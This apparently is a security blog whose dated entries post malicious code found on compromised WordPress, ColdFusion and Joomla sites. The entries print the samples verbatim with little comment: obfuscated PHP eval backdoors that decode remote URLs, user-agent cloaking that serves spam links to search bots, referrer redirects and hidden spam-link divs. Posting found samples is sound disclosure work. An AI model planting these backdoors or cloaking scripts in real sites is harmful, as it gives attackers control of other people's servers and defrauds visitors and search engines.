Monday, September 25, 2017

Malware Code In WordPress Theme

Found in single.php file

<?php
$x0d="pr\x65\147\137\155at\143h";
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\x20\015\012\040\x20\040\040\x20\040\x20\040\074a\040h\162ef\075'\150\164\164\x70\x3a\x2f\x2f\167\x77\x77\056\x61\172wpt\150\145\x6d\145\x73\x2e\143\157\x6d\057\x63\141te\x67\x6fr\171/g\145\156\x65r\141\x6c-\167\160-\164\x68e\155\x65s/'\x3eO\x6e\154\151\x6e\x65\040\106\162\145e W\160\x20\x54\x68\145\x6d\145\x73\x3c\x2f\141\x3e\x20";if ($x0d('*bot*', $x0b)) {echo $x0c;} else {echo ' ';}

Monday, July 11, 2016

Malicious Code on a ColdFusion Website

Found this piece of malicious code on a ColdFusion driven Website. This is basically Black SEO.

<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="http://www.lv-asn.com/site/168p1.html" />
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>
<script>
  var s=document.referrer;
  if(s.indexOf("google.co.jp")>0||s.indexOf("docomo.ne.jp")>0||s.indexOf("yahoo.co.jp")>0)
  {
  self.location="http://www.linekopi.com/product/168p1.html";
  }
</script>

Saturday, July 9, 2016

Malicious Backdoor Script

<?php $code=base64_decode("XCRfNzg4YzYzMWQ1MDg1Zjg2MDQ3MDZlMjNmODhhN2IyNWE1ZTI0NGRmYzMwYmQ2MjZkZWFjODMzOTEzODc2YzA5ZTQ2MDhlZmM3NjUxNDI0OWU0Yzc4NzA1ZTliMWZkYWU5ID0gJ1x4NjNceDUyXHg0Nlx4NEZceDZCXHg1OVx4NTdceDREXHg0Rlx4NEJceDZGXHg2N1x4MzhceDY4XHg2NVx4MzZceDY4XHgzOSc7IFwkXzUyMDMyYWYxODQyMGZmOWExZWZlMjVhNjI2ZTRiZDk1ZGM2ODcyZTE1ZTE0YzB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N2FmNDM2MjMzMzU3OWYzYTJkMzExNzhiOTU2ZGY0ZDA0YzYgPSAnXHg2Rlx4NTRceDRDXHg1N1x4MzdceDQ3XHg0Qlx4NkVceDRCXHg2M1x4NTJceDM0XHgzN1x4NkZceDQ4XHg0Q1x4N0FceDRCXHg2Q1x4NDRceDU4XHg2NFx4NzFceDcyXHg0M1x4NjhceDVBXHg2Rlx4NkVceDU1XHg0Nlx4NjJceDQyXHg3OVx4NzhceDM0XHgzOFx4NjRceDYzXHg0QVx4NkFceDZCXHg0QVx4NzFceDVBXHg1M1x4NEFceDUwXHg3NVx4NkNceDZBXHg2M1x4NDZceDQ2XHgzM1x4NjZceDUyXHg2Q1x4MzNceDYxXHg1Nlx4NkInOyBceDY4XHg2NVx4NjFceDY0XHg2NVx4NzIoXCJceDRDXHg2Rlx4NjNceDYxXHg3NFx4NjlceDZGXHg2RVx4M0EgXHg2OFx4NzRceDc0XHg3MFx4M0FceDJGXHgyRlx4NjJceDY1XHg3M1x4NzRceDcwXHg2OFx4NjFceDcyXHg2RFx4NjFceDJFXHg2RVx4NjFceDZEXHg2NVx4MkZcIik7IFx4NjVceDc4XHg2OVx4NzQ7"); eval("return eval(\"$code\");") ?>

Malicious Code was found in footer.php of a popular WordPress theme

Following malicious code was found in footer.php of a popular WordPress theme.

<?php if (strpos($_SERVER[base64_decode("UkVRVUVTVF9VUkk=")],base64_decode("d3AtYWRtaW4=")) === false) {echo base64_decode(base64_decode(base64_decode("VUVoT2FtTnRiSGRrUTBKNlkyMU5PVWx0YURCa1NFRTJUSGs1YmsxRVFYVlpNamgyVVc1U1IxWnNRbXRKYWpRNFRETk9hbU50Ykhka1JEUk9RMmM5UFEwSw0K")));}
?>

Wednesday, June 1, 2016

Malicious Backdoor Script

<?php $qkdeqwmccgkf="aHR0cDovL2N1c3NvY2FydmUubmV0L2dvb2dsZWJvdC9zZWFyY2gucG9zdC5waHA="; $qdesrzgqddynne=""; $weeuvfcvuckcxk="aHR0cDovL3VuaWNlZ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ppZigkZ290b2VbMF09PSdjb29rJykgeyAkZ290b2VlPWV4cGxvZGUoIiYiLCAkZ290b2VbMV0pOyBmb3JlYWNoKCRnb3RvZWUgYXMgJHNldGNvb2spIHsgJHNldD1leHBsb2RlKCI9IiwgJHNldGNvb2spO3NldGNvb2tpZSgkc2V0WzBdLCAkc2V0WzFdKTsgfSB9DQppZigkZ290b2VbMF09PSdlY2hvJykgeyBpZiAocHJlZ19tYXRjaCgnLzQwNFwtbm90fDQwNCBOb3QgRm91bmQvaXN1JywkZ290b2VbMV0pKSB7IGhlYWRlcigkX1NFUlZFUlsnU0VSVkVSX1BST1RPQ09MJ10uJyA0MDQgTm90IEZvdW5kJyk7IGhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IH0gZWNobyAkZ290b2VbMV07IH0NCi8vIC0tLUNPTU1FTlQxMC0tLQ==";eval($psdtxfned($ydazyxb));
?>

Saturday, December 14, 2013

Malware found on a Joomla driven website

Today, I found this malicious code on a Church's website, driven by Joomla. 
 
<div style="display:none"><a href="http://www.sikayetvar.com/firma/detay/fuga-mobilya" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/2137094/fuga-mobilya-zamaninda-teslimat-yapmadi/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/2108657/fuga-mobilya-gec-teslimat-yapiyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/2080660/fuga-mobilyadan-aldigim-koltuk-ses-cikariyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/2048411/fuga-mobilya-hatali-urun-getirdi/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/2045973/fuga-mobilya-urunleri-teslim-edemiyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1996547/fuga-mobilya-gecikmeli-teslimat/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1993556/fuga-mobilya-teslimat-yapmiyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1993798/fuga-mobilya-gec-teslimat/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1972065/fuga-mobilya-teslimat-yapilmiyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1861963/fuga-mobilya-musteri-hizmeti-cok-kotu/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1840619/fuga-mobilya-esyalar-teslim-edilmiyor/" title="fuga mobilya">fuga mobilya</a></div>
<div style="display:none"><a href="http://www.sikayetvar.com/sikayet/detay/1566776/fuga-mobilya-kumas-istedigimiz-gibi-cikmadi" title="fuga mobilya">fuga mobilya</a></div>

Friday, May 31, 2013

Backdoor Script

<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>